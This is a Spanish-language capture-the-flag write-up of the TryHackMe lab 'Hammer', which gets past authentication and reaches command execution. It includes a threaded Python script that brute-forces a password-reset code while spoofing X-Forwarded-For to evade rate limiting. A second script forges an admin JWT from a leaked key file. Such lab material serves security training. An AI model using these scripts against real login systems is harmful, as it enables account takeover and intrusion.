XUT_ / MACHINES / THM

0064

Hammer

THMMACHINENONEMEDIUM

Introduction

hammer Con el Martillo en mano, ¿puedes bypassear los mecanismos de autentificación y conseguir RCE en el sistema?

Getting the Flags

  1. Empezaremos con el reconocimiento (aunque ya sabemos por donde va a tirar, seguramente algo de MFA).
    1. Escaneo de puertos. hammer Miramos a ver qué es el servicio waste. hammer
    2. Escaneo de puertos en profundidad. hammer Como el puerto 80 no está abierto, no tiene sentido escanear directorios ni subdominios.
  2. Si vamos al puerto 1337 encontramos no que parece un endpoint de login. hammer
  3. Si miramos el código fuente podemos ver la convención de nombramiento de directorios. hammer Si intentamos hacer fuzzeo de directorios a este tipo de dirección: hammer
  4. Si le damos al único archivo aparentemente interesante, reset_password.php, podemos ver el código de flujo del reseteo de contraseñas. hammer Parece que hay una cuenta atrás en la que tienes que introducir el código.
  5. Si revisamos los directorios que encontramos fuzzeando antes, sólo hay dos que parecen poder tener algo interesante.
    1. El primero y más interesante es /hmr_logs/, el cual contiene logs de error de conexión en los que se detallan usuarios, endpoints, hostnames, etc. hammer
    2. El segundo, y algo menos llamativo es /hmr_images, en donde hay una imagen de un taller con martillo. hammer No hay nada en la imagen, por lo que definitivamente seguiremos por el otro lado. hammer
  6. Vamos a investigar bien los logs que hemos encontrado. hammer
    1. Lo más llamativo a simple vista es que parece que tenemos un usuario: tester@hammer.thm.
    2. Además podemos ver la página a la que aparentemente querríamos poder acceder: /restricted-area.
    3. Vemos un posible hostname del sistema que nos puede servir más adelante para forzar la entrada por ssh: hammerthm.
    4. Vemos que hay un login de administrador: /admin-login.
    5. Parece que hay un límite de 10 peticiones, pero no sabemos en qué se basa para filtrar, todavía.
  7. Con todo esto en mente vamos a investigar las respuestas del servidor con BurpSuite.
    1. Para usuario y contraseñas erróneos:
      1. Manda usuario y contraseña por POST. hammer
      2. En la respuesta recibimos "Invalid Email or Password". hammer
    2. Para usuario correcto y contraseña errónea:
      1. La petición inicial sigue siendo igual pero con diferentes credenciales. hammer
      2. La respuesta también es igual. hammer
  8. Vamos a ver qué pasa si le damos a "Forgot your password?".
    1. Esta petición ya parece más interesante. hammer Está llamando al endpoint /reset_password.php.
    2. Si dejamos pasar las peticiones y metemos el email, obtenemos una página con un contador. hammer
    3. Si introducimos un código que no es no nos saca directamente. hammer
    4. Si lo introducimos mal unas cuantas veces pone: hammer
  9. Ejecutaremos el siguiente código.
python
import requests
import sys
import random
from concurrent.futures import ThreadPoolExecutor

# Configuración
IP = "IP" #Cambia esto
base_url = f'http://{IP}:1337'
url = f'{base_url}/reset_password.php'
email = 'tester@hammer.thm'
MAX_THREADS = 10

exito = False

def get_new_session():
    s = requests.Session()
    try:
        s.post(url, data={'email': email}, timeout=10)
        if 'PHPSESSID' in s.cookies:
            return s
    except:
        return None
    return None

def batch_worker(start_pin):
    global exito
    if exito: return

    session = get_new_session()
    if not session: return

    for i in range(7):
        current_pin = start_pin + i
        if current_pin > 9999 or exito: break
        
        pin_str = f"{current_pin:04d}"
        headers = {
            'X-Forwarded-For': f"127.0.0.{random.randint(1,254)}",
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        data = {'recovery_code': pin_str, 's': '180'}

        try:
            # Importante: allow_redirects=True para seguir a la página de nueva password
            resp = session.post(url, data=data, headers=headers, allow_redirects=True, timeout=10)

            if "Invalid or expired" not in resp.text and "Rate limit" not in resp.text:
                exito = True
                print(f"\n\n[!] ¡ÉXITO! PIN CONFIRMADO: {pin_str}")
                print(f"[+] PHPSESSID: {session.cookies.get('PHPSESSID')}")
                print(f"[+] URL FINAL: {resp.url}")
                
                # Guardamos la página para que la veas
                with open("exito.html", "w") as f:
                    f.write(resp.text)
                print(f"[+] Contenido guardado en 'exito.html'. Ábrelo con tu navegador.")
                return

            sys.stdout.write(f"\r[*] Intentando: {pin_str} ")
            sys.stdout.flush()
        except:
            pass

def main():
    pines_iniciales = [i for i in range(0, 10000, 7)]
    # Como ya sabemos que es el 1013, el script llegará rápido.
    with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
        executor.map(batch_worker, pines_iniciales)

if __name__ == "__main__":
    main()

Obtenemos lo siguiente: hammer

  1. Si metemos dicha cookie y OTP: hammer
  2. Si cambiamos la contraseña e iniciamos sesión: hammer Hemos encontrado la flag del dashboard, nos queda la del sistema.
  3. Si probamos con ls vemos que hay un archivo .php de ejecución de comandos. hammer
  4. Parece ser que hay un elemento que nos echa de la sesión. Si miramos el código fuente: hammer Podemos ver que si el valor persistentCookie no está en true nos echará todo el rato.
  5. Vamos a interceptar una petición de ejecución de comandos con Burp Suite. hammer Vemos que hay un archivo .key.
  6. Vamos a analizar el JWT con jwt.io. hammer
  7. Como tenemos acceso podemos listar el secreto 188ade1.key. hammer
  8. Vamos a usar un script de python para generar el JWT.
python
import jwt

# The secret key from /var/www/mykey.key
secret_key = "56058354efb3daa97ebab00fabd7a7d7"

# JWT header including 'kid'
header = {
    "typ": "JWT",
    "alg": "HS256",
    "kid": "/var/www/html/188ade1.key"
}

# Payload with the 'admin' role
payload = {
    "iss": "http://hammer.thm",
    "aud": "http://hammer.thm",
    "iat": TiempoDeCreación,
    "exp": TiempoDeExpiración (poner más alto),
    "data": {
        "user_id": 1,
        "email": "tester@hammer.thm",
        "role": "admin"
    }
}

# Encode the JWT with the specific header
token = jwt.encode(payload, secret_key, algorithm="HS256", headers=header)

# Print the generated token
print(token)
  1. Lo ejecutamos y obtenemos el JWT. hammer

  2. Metemos dicho token en el header authorization bearer y en el valor y ejecutamos un comando para leer /home/ubuntu/flag.txt.

    hammer

CAUTION: Lee los scripts usados antes de utilizarlos para entender cómo funcionan y qué cosas debes cambiar.